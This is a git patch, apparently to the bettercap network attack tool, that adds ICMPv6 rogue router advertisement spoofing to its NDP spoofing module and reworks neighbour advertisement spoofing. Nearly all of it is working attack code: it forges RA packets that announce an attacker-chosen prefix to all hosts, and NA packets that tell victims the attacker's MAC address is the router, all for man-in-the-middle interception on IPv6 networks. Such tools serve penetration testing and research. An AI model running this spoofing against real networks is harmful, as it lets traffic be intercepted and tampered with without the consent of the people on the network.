From a6d5d5d048707409cd633c13b0e43117caa19939 Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Sun, 4 Apr 2021 00:03:11 +0200 Subject: [PATCH] new: implemented icmpv6 rogue router advertisement --- modules/ndp_spoof/ndp_spoof.go | 110 +++++++++++++++++++-------------- packets/icmp6.go | 57 ++++++++++++++++- 2 files changed, 120 insertions(+), 47 deletions(-) diff --git a/modules/ndp_spoof/ndp_spoof.go b/modules/ndp_spoof/ndp_spoof.go index 5df139b6..60f41d18 100644 --- a/modules/ndp_spoof/ndp_spoof.go +++ b/modules/ndp_spoof/ndp_spoof.go @@ -13,17 +13,17 @@ import ( type NDPSpoofer struct { session.SessionModule - neighbour net.IP - addresses []net.IP - ban bool - waitGroup *sync.WaitGroup + neighbour net.IP + prefix string + prefixLength int + addresses []net.IP + waitGroup *sync.WaitGroup } func NewNDPSpoofer(s *session.Session) *NDPSpoofer { mod := &NDPSpoofer{ SessionModule: session.NewSessionModule("ndp.spoof", s), addresses: make([]net.IP, 0), - ban: false, waitGroup: &sync.WaitGroup{}, } @@ -32,7 +32,14 @@ func NewNDPSpoofer(s *session.Session) *NDPSpoofer { mod.AddParam(session.NewStringParameter("ndp.spoof.targets", "", "", "Comma separated list of IPv6 addresses, "+ "MAC addresses or aliases to spoof.")) - mod.AddParam(session.NewStringParameter("ndp.spoof.neighbour", "fe80::1", "", "Neighbour IPv6 address to spoof.")) + mod.AddParam(session.NewStringParameter("ndp.spoof.neighbour", "fe80::1", "", + "Neighbour IPv6 address to spoof, clear to disable NA.")) + + mod.AddParam(session.NewStringParameter("ndp.spoof.prefix", "d00d::", "", + "IPv6 prefix for router advertisements spoofing, clear to disable RA.")) + + mod.AddParam(session.NewIntParameter("ndp.spoof.prefix.length", "64", + "IPv6 prefix length for router advertisements.")) mod.AddHandler(session.NewModuleHandler("ndp.spoof on", "", "Start NDP spoofer.", @@ -40,13 +47,6 @@ func NewNDPSpoofer(s *session.Session) *NDPSpoofer { return mod.Start() })) - mod.AddHandler(session.NewModuleHandler("ndp.ban on", "", - "Start NDP spoofer in ban mode, meaning the target(s) connectivity will not work.", - func(args []string) error { - mod.ban = true - return mod.Start() - })) - mod.AddHandler(session.NewModuleHandler("ndp.spoof off", "", "Stop NDP spoofer.", func(args []string) error { @@ -78,29 +78,39 @@ func (mod *NDPSpoofer) Configure() error { var err error var neigh, targets string - if err, neigh = mod.StringParam("ndp.spoof.neighbour"); err != nil { - return err - } else if mod.neighbour = net.ParseIP(neigh); mod.neighbour == nil { - return fmt.Errorf("can't parse neighbour address %s", neigh) - } else if err, targets = mod.StringParam("ndp.spoof.targets"); err != nil { + if err, targets = mod.StringParam("ndp.spoof.targets"); err != nil { return err } - mod.addresses = make([]net.IP, 0) - for _, addr := range str.Comma(targets) { - if ip := net.ParseIP(addr); ip != nil { - mod.addresses = append(mod.addresses, ip) - } else { - return fmt.Errorf("can't parse ip %s", addr) + if targets == "" { + mod.neighbour = nil + mod.addresses = nil + } else { + if err, neigh = mod.StringParam("ndp.spoof.neighbour"); err != nil { + return err + } else if mod.neighbour = net.ParseIP(neigh); mod.neighbour == nil { + return fmt.Errorf("can't parse neighbour address %s", neigh) } + + mod.addresses = make([]net.IP, 0) + for _, addr := range str.Comma(targets) { + if ip := net.ParseIP(addr); ip != nil { + mod.addresses = append(mod.addresses, ip) + } else { + return fmt.Errorf("can't parse ip %s", addr) + } + } + + mod.Debug(" addresses=%v", mod.addresses) } - mod.Debug(" addresses=%v", mod.addresses) + if err, mod.prefix = mod.StringParam("ndp.spoof.prefix"); err != nil { + return err + } else if err, mod.prefixLength = mod.IntParam("ndp.spoof.prefix.length"); err != nil { + return err + } - if mod.ban { - mod.Warning("running in ban mode, forwarding not enabled!") - mod.Session.Firewall.EnableForwarding(false) - } else if !mod.Session.Firewall.IsForwardingEnabled() { + if !mod.Session.Firewall.IsForwardingEnabled() { mod.Info("enabling forwarding") mod.Session.Firewall.EnableForwarding(true) } @@ -113,31 +123,42 @@ func (mod *NDPSpoofer) Start() error { return err } - nTargets := len(mod.addresses) - if nTargets == 0 { - mod.Warning("list of targets is empty, module not starting.") - return nil + if mod.neighbour == nil && mod.prefix == "" { + return fmt.Errorf("please set a target or a prefix") } return mod.SetRunning(true, func() { - mod.Info("ndp spoofer started, probing %d targets.", nTargets) + mod.Info("ndp spoofer started - neighbour=%s prefix=%s", mod.neighbour, mod.prefix) mod.waitGroup.Add(1) defer mod.waitGroup.Done() for mod.Running() { - for victimAddr, victimHW := range mod.getTargets(true) { - victimIP := net.ParseIP(victimAddr) + if mod.prefix != "" { + mod.Debug("sending router advertisement for prefix %s(%d)", mod.prefix, mod.prefixLength) + err, ra := packets.ICMP6RouterAdvertisement(mod.Session.Interface.IPv6, mod.Session.Interface.HW, + mod.prefix, uint8(mod.prefixLength)) + if err != nil { + mod.Error("error creating ra packet: %v", err) + } else if err = mod.Session.Queue.Send(ra); err != nil { + mod.Error("error while sending ra packet: %v", err) + } + } - mod.Debug("we're saying to %s(%s) that %s is us(%s)", - victimIP, victimHW, - mod.neighbour, - mod.Session.Interface.HW) + if mod.neighbour != nil { + for victimAddr, victimHW := range mod.getTargets(true) { + victimIP := net.ParseIP(victimAddr) - if err, packet := packets.ICMP6RouterAdvertisement(mod.Session.Interface.HW, mod.neighbour, victimHW, victimIP, mod.neighbour); err != nil { - mod.Error("error creating packet: %v", err) - } else if err = mod.Session.Queue.Send(packet); err != nil { - mod.Error("error while sending packet: %v", err) + mod.Debug("we're saying to %s(%s) that %s is us(%s)", + victimIP, victimHW, + mod.neighbour, + mod.Session.Interface.HW) + + if err, packet := packets.ICMP6NeighborAdvertisement(mod.Session.Interface.HW, mod.neighbour, victimHW, victimIP, mod.neighbour); err != nil { + mod.Error("error creating na packet: %v", err) + } else if err = mod.Session.Queue.Send(packet); err != nil { + mod.Error("error while sending na packet: %v", err) + } } } @@ -149,7 +170,6 @@ func (mod *NDPSpoofer) Start() error { func (mod *NDPSpoofer) Stop() error { return mod.SetRunning(false, func() { mod.Info("waiting for NDP spoofer to stop ...") - mod.ban = false mod.waitGroup.Wait() }) } diff --git a/packets/icmp6.go b/packets/icmp6.go index fd9248d7..3bbac037 100644 --- a/packets/icmp6.go +++ b/packets/icmp6.go @@ -5,7 +5,7 @@ import ( "net" ) -func ICMP6RouterAdvertisement(srcHW net.HardwareAddr, srcIP net.IP, dstHW net.HardwareAddr, dstIP net.IP, routerIP net.IP) (error, []byte) { +func ICMP6NeighborAdvertisement(srcHW net.HardwareAddr, srcIP net.IP, dstHW net.HardwareAddr, dstIP net.IP, routerIP net.IP) (error, []byte) { eth := layers.Ethernet{ SrcMAC: srcHW, DstMAC: dstHW, @@ -23,7 +23,7 @@ func ICMP6RouterAdvertisement(srcHW net.HardwareAddr, srcIP net.IP, dstHW net.Ha TypeCode: layers.ICMPv6TypeNeighborAdvertisement << 8, } adv := layers.ICMPv6NeighborAdvertisement{ - Flags: 0x20 | 0x40, // solicited && override + Flags: 0x20 | 0x40, // solicited && override TargetAddress: routerIP, Options: []layers.ICMPv6Option{ { @@ -36,3 +36,56 @@ func ICMP6RouterAdvertisement(srcHW net.HardwareAddr, srcIP net.IP, dstHW net.Ha return Serialize(ð, &ip6, &icmp6, &adv) } + +var macIpv6Multicast = net.HardwareAddr([]byte{0x33, 0x33, 0x00, 0x00, 0x00, 0x01}) +var ipv6Multicast = net.ParseIP("ff02::1") + +func ICMP6RouterAdvertisement(ip net.IP, hw net.HardwareAddr, prefix string, prefixLength uint8) (error, []byte) { + eth := layers.Ethernet{ + SrcMAC: hw, + DstMAC: macIpv6Multicast, + EthernetType: layers.EthernetTypeIPv6, + } + ip6 := layers.IPv6{ + NextHeader: layers.IPProtocolICMPv6, + TrafficClass: 224, + Version: 6, + HopLimit: 255, + SrcIP: ip, + DstIP: ipv6Multicast, + } + icmp6 := layers.ICMPv6{ + TypeCode: layers.ICMPv6TypeRouterAdvertisement << 8, + } + prefixData := []byte{ + prefixLength, + 0x0c, // flags + 0x00, 0x27, 0x8d, 0x00, // valid lifetime (2592000) + 0x00, 0x09, 0x3a, 0x80, // preferred lifetime (604800) + 0x00, 0x00, 0x00, 0x00, // reserved + } + prefixData = append(prefixData, []byte(net.ParseIP(prefix))...) + + adv := layers.ICMPv6RouterAdvertisement{ + HopLimit: 255, + Flags: 0x08, // prf + RouterLifetime: 1800, + Options: []layers.ICMPv6Option{ + { + Type: layers.ICMPv6OptSourceAddress, + Data: hw, + }, + { + Type: layers.ICMPv6OptMTU, + Data: []byte{0x00, 0x00, 0x00, 0x00, 0x05, 0xdc}, // 1500 + }, + { + Type: layers.ICMPv6OptPrefixInfo, + Data: prefixData, + }, + }, + } + icmp6.SetNetworkLayerForChecksum(&ip6) + + return Serialize(ð, &ip6, &icmp6, &adv) +}